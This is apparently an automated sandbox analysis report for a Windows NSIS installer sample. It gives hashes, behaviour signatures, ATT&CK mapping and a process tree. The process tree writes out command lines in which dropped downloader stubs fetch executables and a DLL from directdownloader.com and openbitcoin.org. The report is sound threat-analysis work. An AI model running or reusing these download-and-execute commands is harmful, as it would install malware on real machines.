50aab57f40cdf429a266715fc6fb5b160be8103db8abf9947b781c4ab9d3f862

General

Target

76196d61a4f2aa4abea8fd88c687dd58.exe
Size

492KB
MD5

76196d61a4f2aa4abea8fd88c687dd58
SHA1

c1209776f090216eaa4904263b6ebd51af937a94
SHA256

50aab57f40cdf429a266715fc6fb5b160be8103db8abf9947b781c4ab9d3f862
SHA512

07b0a6f12ddb168ffb209ddd5c79c78c070bec3edadf1c0f4bab4d8e6188d1742bc5774987e705137bfaf46d57b33bd0eba6c569975c6515ca122a6681ec555c
SSDEEP

6144:Huk4fqjcJQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:h4fwU6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
3528	downloaderSTUB.exe
2596	downloaderSTUB.exe
3036	downloaderSTUB.exe
1652	downloaderDDLR.exe
4884	downloaderOFFER0.exe
1400	preinstaller.exe

Loads dropped DLL 20 IoCs

pid	Process
3036	downloaderSTUB.exe
2596	downloaderSTUB.exe
1652	downloaderDDLR.exe
3528	downloaderSTUB.exe
4884	downloaderOFFER0.exe
3036	downloaderSTUB.exe
1652	downloaderDDLR.exe
2596	downloaderSTUB.exe
3528	downloaderSTUB.exe
4884	downloaderOFFER0.exe
3036	downloaderSTUB.exe
2596	downloaderSTUB.exe
1652	downloaderDDLR.exe
3528	downloaderSTUB.exe
4884	downloaderOFFER0.exe
3036	downloaderSTUB.exe
2596	downloaderSTUB.exe
1652	downloaderDDLR.exe
3528	downloaderSTUB.exe
4884	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000023202-4.dat	nsis_installer_1
behavioral2/files/0x0006000000023202-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 3528	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	29
PID 1196 wrote to memory of 3528	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	29
PID 1196 wrote to memory of 3528	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	29
PID 1196 wrote to memory of 2596	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	28
PID 1196 wrote to memory of 2596	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	28
PID 1196 wrote to memory of 2596	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	28
PID 1196 wrote to memory of 3036	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	27
PID 1196 wrote to memory of 3036	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	27
PID 1196 wrote to memory of 3036	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	27
PID 1196 wrote to memory of 1652	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	26
PID 1196 wrote to memory of 1652	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	26
PID 1196 wrote to memory of 1652	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	26
PID 1196 wrote to memory of 4884	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	25
PID 1196 wrote to memory of 4884	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	25
PID 1196 wrote to memory of 4884	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	25
PID 1196 wrote to memory of 1400	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	24
PID 1196 wrote to memory of 1400	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	24
PID 1196 wrote to memory of 1400	1196	76196d61a4f2aa4abea8fd88c687dd58.exe	24

C:\Users\Admin\AppData\Local\Temp\76196d61a4f2aa4abea8fd88c687dd58.exe
"C:\Users\Admin\AppData\Local\Temp\76196d61a4f2aa4abea8fd88c687dd58.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\preinstaller.exe 0 "Facebook" "Download"
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4884
- C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1652
- C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3036
- C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2596
- C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\c202b6474e5d5adce141c60b2198f6bf\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsj447D.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1196-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/1400-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download

Analysis

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